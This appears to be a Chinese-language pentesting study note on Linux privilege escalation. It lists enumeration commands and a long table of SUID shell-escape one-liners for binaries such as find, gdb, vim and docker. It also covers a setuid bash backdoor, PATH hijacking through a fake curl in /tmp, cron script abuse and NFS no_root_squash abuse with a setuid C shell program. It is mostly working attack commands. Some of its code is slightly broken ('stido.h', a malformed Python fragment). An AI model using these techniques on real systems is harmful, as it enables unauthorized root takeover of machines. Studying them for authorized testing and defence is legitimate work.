linux提权-1

《Linux提权方法论》
https://github.com/Getshell/LinuxTQ
提权网站:
https://gtfobins.github.io/
https://xz.aliyun.com/news/11110

信息收集

当前主机的操作系统

1
2
3
4
5
6
7
8
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue

当前主机的内核版本

1
2
3
4
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"

内核漏洞筛选:
MSF检测:

1
run post/multi/recon/local_exploit_suggester

提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester

综合脚本:
https://github.com/peass-ng/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration

1,SUID提权

SUID(Set ownerUserIDupon execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。
SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

查看文件是否具有SUID属性

1
2
3
ls -al file(此为要查询的文件名)
# 如查看sudo文件的SUID属性
ls -al /usr/bin/sudo

SUID提权利用原理
SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。

如何查找 SUID 文件
查找当前用户可利用的具有SUID的属性的质量

1
2
3
4
5
6
7
8
9
10
find / -perm -u=s -type f 2>/dev/null
参数:
/表示从文件系统的顶部(根)开始,查找每个目录
-perm表示搜索后面的权限
-u=s表示查找 root 用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2表示到进程的第二个文件描述符,即 stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容

常用指令提权方法:

命令 利用方法
zsh zsh
xargs xargs -a /dev/null sh -p
watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeout timeout 7d /bin/sh -p
time time /bin/sh -p
tclsh 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout2>@stderr
taskset taskset 1 /bin/sh -p
stdbuf stdbuf -i0 /bin/sh -p
strace strace -o /dev/null /bin/sh -p
ssh ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarch setarch $(arch) /bin/sh -p
rsync rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpm rpm –eval ‘%{lua:os.execute(“/bin/sh -p”)}’
python python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
php 1、CMD=”/bin/sh” 2、 php -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”
nice nice /bin/sh -p
nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令
more 1、more /etc/profile 2、!/bin/sh -p
logsave logsave /dev/null /bin/sh -i -p
less less /etc/profile //读取文件,在底行输入!/bin/sh -p
ksh ksh -p
ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ionice ionice /bin/sh -p
git git help status
gimp gimp -idf –batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
gdb gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit
ftp ftp //在底行输入”!/bin/sh -p”
flock flock -u / /bin/sh -p
find find . / -exec “/bin/sh” -p
expect expect -c ‘spawn /bin/sh -p;interact’
env env /bin/sh -p
ed ed //在底行输入”!/bin/sh -p”
docker docker run -v /:/mnt –rm -it alpine chroot /mnt sh
dmesg dmesg -H//在底行输入”!/bin/sh -p”
csh csh -b
bash bash -p
awk awk ‘BEGIN {system(“/bin/bash -p”)}’
perl perl exec “/bin/bash”;
Vi/Vim vim.basic /etc/passwd 添加一个新的用户条目或修改现有用户条目的密码哈希,然后保存并退出。格式:newuser:$6$salt$hash:uid:gid:GECOS:home:shell 保存修改后的/etc/passwd文件,并以新用户身份登录或使用su命令切换到新用户。
cp cp /bin/bash /tmp/bash //覆盖/bin/bash来创建一个后门 ;chmod u+s /tmp/bash;执行/tmp/bash -p可以获取一个root权限的shell

确定要用的指令(以gdb为例),并输入利用指令

1
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

2,SUDO提权

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers

3,PATH提权

需要结合SUID提权
以一个靶场为例:

当那些shell后,查找SUID存在第三方文件
/opt/statuscheck

1
strings /opt/statuscheck //查看文件中含有的字符串


/opt/statuscheck存在执行
利用方式:

1
2
3
4
5
6
cd /tmp
echo "/bin/sh" > curl # 在tmp目录下创建curl文件,包含“/bin/sh”
chmod 777 curl # 赋予权限
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,可以让系统不会执行默认的curl工具
echo $PATH
/opt/statuscheck #执行文件触发curl

根据此靶场就好理解了,将原生的内容劫持后,执行自己添加的到环境的内容

4,PATH劫持

查看定时任务:

1
cat /etc/crontab

发现定义了诸多环境变量,如果其任务有 未指定绝对路径的指令

1
2
3
4
[root@izjf ~]# cat /etc/crontab
SHELL=/bin/bash
PATTH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

发现定义了诸多环境变量,如果其任务有 未指定绝对路径的指令,如

1
*    * * *   root    shell.sh

而且我们在其环境变量路径中可以进行写入操作,那么我们可以通过写入环境变量的靠前路径一个同名恶意文件从而导致环境变量劫持。

找到可写目录

1
find / -writable 2>/dev/null

比如在 /sbin 写入一个 反弹 shell 功能的 shell.sh,那么就可以造成提权。

4,定时任务提权

定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。

1
ls -l /etc/cron*

如果我们有幸有权限能更改其中一个任务指定的脚本,就可以往脚本里添加如反弹 shell 等指令,从而提权.

5,NFS提权

NFS 是一种运行在端口 2049 上的网络文件共享协议,由服务器和客户端两个组件组成。共享目录是在 NFS 服务器上创建的,以便可以通过网络与其他 Linux 客户端共享文件,获得许可的用户可以将文件添加到共享中,然后与有权访问该目录的其他用户共享。

默认情况下,每个 NFS 共享均启用了 root_squash 功能,用以防止被共享的文件拥有 root:root 身份或特殊权限(即启用 root_squash 之后,共享文件均是 nobody:nogroup 身份)。而如果启用了 no_root_squash 功能,那么共享文件就可以以 root 的身份存在,我们将在本篇文章中看到,这很容易导致权限升级。

枚举 NFS 共享:
1,使用 Nmap 枚举 NFS 共享
2,使用 showmount 命令进行枚举

挂载 NFS 共享:
我们需要做的第一件事是在攻击者机器上创建一个挂载点,以便与共享进行交互。

1
mkdir /mnt/nfs

创建挂载点后,我们就可以挂载共享并将其链接到挂载点。

1
mount -t nfs 192.168.1.5:/mnt/nfs ./nfs  #攻击机执行

成功后,只要往本机的nfs文件放内容,对方的nfs上也会实时同步
利用:

1
2
3
4
(root@kali)-[~/nfs]
# cp /usr/bin/find shell //将find命令拷贝到shell中
# chmod 777 shell //赋予权限
# chmod +s shell //赋予suid权限
1
2
find / -perm -u=s -type f 2>/dev/null
/mnt/nfs/shell . / -exec "/bin/sh" -p;quit //进行提权

注意:系统不同find命令也会不同,导致运行出错
解决:
1,用相同的系统拷贝/usr/bin/find
2,写一个c语言进行调用

1
2
3
4
5
6
7
8
9
10
//shell.c
#include <stido.h>
#include <unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
return 0;
}

将shell.c编译成可执行文件,

1
gcc shell.c -o getshell

赋SUID权限,再传入nfs中。

python脚本

1
2
3
4
5
6
7
8
9
/usr/bin/python3

import os
import sys

try:
os.system("thm")
except:
sys.exit()